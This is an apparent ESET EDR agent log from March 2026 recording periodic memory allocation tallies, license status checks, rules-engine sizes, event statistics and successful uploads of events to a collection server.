2026-03-04 14:57:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s526ms.
2026-03-04 14:57:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1968 KB; rules::RuleEvaluationCtx: 1929 KB; ProcessInfo: 1559 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; rules::ProcessConditionsCache: 393 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 121 KB; BatchSerializer::EventsQueueTag: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 8395 KB;
2026-03-04 14:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 14:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 14:58:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 14:58:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 14:58:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 14:58:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 14:58:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1968 KB; rules::RuleEvaluationCtx: 1929 KB; ProcessInfo: 1927 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; rules::ProcessConditionsCache: 386 KB; ModuleInfoCache: 315 KB; BaseEvent: 298 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 79 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 8981 KB;
2026-03-04 14:59:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2294 KB; ModuleMetadata: 1968 KB; rules::RuleEvaluationCtx: 1929 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; BaseEvent: 480 KB; rules::ProcessConditionsCache: 373 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 127 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 9576 KB;
2026-03-04 15:00:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2742 KB; ModuleMetadata: 1968 KB; rules::RuleEvaluationCtx: 1935 KB; BaseEvent: 678 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 182 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; rules::ProcessConditionsCache: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9916 KB;
2026-03-04 15:01:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 14:57:13, To:, 2026-03-04 15:01:09, Duration (s):, 236, Events Per Second:, 17.512, Events:, 4144, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3454, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 5, Livegrid:, 5, OriginUrl:, 0, Alarms:, 679, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 463064
2026-03-04 15:01:11 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s458ms.
2026-03-04 15:01:55 7ff8017fb6c0 Info: Allocations: ModuleMetadata: 1968 KB; rules::RuleEvaluationCtx: 1935 KB; ProcessInfo: 1661 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; rules::ProcessConditionsCache: 388 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 127 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 8524 KB;
2026-03-04 15:02:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2021 KB; ModuleMetadata: 1968 KB; rules::RuleEvaluationCtx: 1935 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 373 KB; ModuleInfoCache: 315 KB; BaseEvent: 305 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 80 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9072 KB;
2026-03-04 15:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:03:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:03:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:03:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:03:46 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:03:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2383 KB; ModuleMetadata: 1968 KB; rules::RuleEvaluationCtx: 1935 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 485 KB; rules::ProcessConditionsCache: 368 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 128 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 9644 KB;
2026-03-04 15:04:55 7ff8017fb6c0 Info: Allocations: ProcessInfo: 2768 KB; ModuleMetadata: 1968 KB; rules::RuleEvaluationCtx: 1935 KB; BaseEvent: 669 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 374 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 176 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 10285 KB;
2026-03-04 15:05:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:01:09, To:, 2026-03-04 15:05:17, Duration (s):, 248, Events Per Second:, 16.568, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3400, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 714, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456120
2026-03-04 15:05:18 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s382ms.
2026-03-04 15:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3727 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1549 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 358 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 109 KB; BatchSerializer::EventsQueueTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10134 KB;
2026-03-04 15:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1912 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; rules::ProcessConditionsCache: 349 KB; ModuleInfoCache: 315 KB; BaseEvent: 292 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 75 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10871 KB;
2026-03-04 15:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2279 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; BaseEvent: 474 KB; rules::ProcessConditionsCache: 341 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 122 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 11453 KB;
2026-03-04 15:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:08:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:08:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:08:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:08:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2640 KB; ModuleMetadata: 1968 KB; BaseEvent: 652 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; rules::ProcessConditionsCache: 324 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 170 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 11990 KB;
2026-03-04 15:09:09 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:05:16, To:, 2026-03-04 15:09:09, Duration (s):, 233, Events Per Second:, 17.274, Events:, 4032, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3236, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 61, Livegrid:, 61, OriginUrl:, 0, Alarms:, 673, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 445754
2026-03-04 15:09:10 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s246ms.
2026-03-04 15:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1665 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; rules::ProcessConditionsCache: 382 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BaseEvent: 137 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 10477 KB;
2026-03-04 15:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2031 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; rules::ProcessConditionsCache: 383 KB; BaseEvent: 321 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 85 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 11077 KB;
2026-03-04 15:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2392 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BaseEvent: 500 KB; rules::ProcessConditionsCache: 370 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 132 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 11657 KB;
2026-03-04 15:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2731 KB; ModuleMetadata: 1968 KB; BaseEvent: 670 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 542 KB; TcpIpConnectionsManager: 537 KB; rules::ProcessConditionsCache: 337 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 175 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 12165 KB;
2026-03-04 15:13:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:09:09, To:, 2026-03-04 15:13:17, Duration (s):, 248, Events Per Second:, 16.514, Events:, 4101, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3391, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456651
2026-03-04 15:13:18 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s353ms.
2026-03-04 15:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:13:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:13:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:13:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:13:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1504 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; TcpIpConnectionsManager: 521 KB; rules::ProcessConditionsCache: 326 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 107 KB; BatchSerializer::EventsQueueTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 10178 KB;
2026-03-04 15:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1869 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; TcpIpConnectionsManager: 526 KB; rules::ProcessConditionsCache: 319 KB; ModuleInfoCache: 315 KB; BaseEvent: 288 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 75 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10770 KB;
2026-03-04 15:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2232 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; TcpIpConnectionsManager: 526 KB; BaseEvent: 467 KB; ModuleInfoCache: 315 KB; rules::ProcessConditionsCache: 304 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 121 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 11344 KB;
2026-03-04 15:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2618 KB; ModuleMetadata: 1968 KB; BaseEvent: 655 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; rules::ProcessConditionsCache: 320 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; BatchSerializer::EventsQueueTag: 172 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 11991 KB;
2026-03-04 15:17:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 15:13:16, To:, 2026-03-04 15:17:25, Duration (s):, 249, Events Per Second:, 16.470, Events:, 4108, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3384, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 5, Livegrid:, 5, OriginUrl:, 0, Alarms:, 713, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457066
2026-03-04 15:17:26 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s385ms.
2026-03-04 15:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1514 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 315 KB; rules::ProcessConditionsCache: 305 KB; CacheEntry: 288 KB; cloudutils::CloudData: 136 KB; BaseEvent: 93 KB; BatchSerializer::EventsQueueTag: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10158 KB;
2026-03-04 15:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 15:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 15:18:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 15:18:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 15:18:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 15:18:47 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 15:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ModuleMetadata: 1968 KB; ProcessInfo: 1874 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 287 KB; BaseEvent: 274 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 70 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 10726 KB;
2026-03-04 15:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2241 KB; ModuleMetadata: 1968 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BaseEvent: 454 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 287 KB; cloudutils::CloudData: 136 KB; BatchSerializer::EventsQueueTag: 117 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 11304 KB;
2026-03-04 15:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 3855 KB; ProcessInfo: 2604 KB; ModuleMetadata: 1968 KB; BaseEvent: 631 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 315 KB; CacheEntry: 288 KB; rules::ProcessConditionsCache: 271 KB; BatchSerializer::EventsQueueTag: 164 KB; cloudutils::CloudData: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 11879 KB;
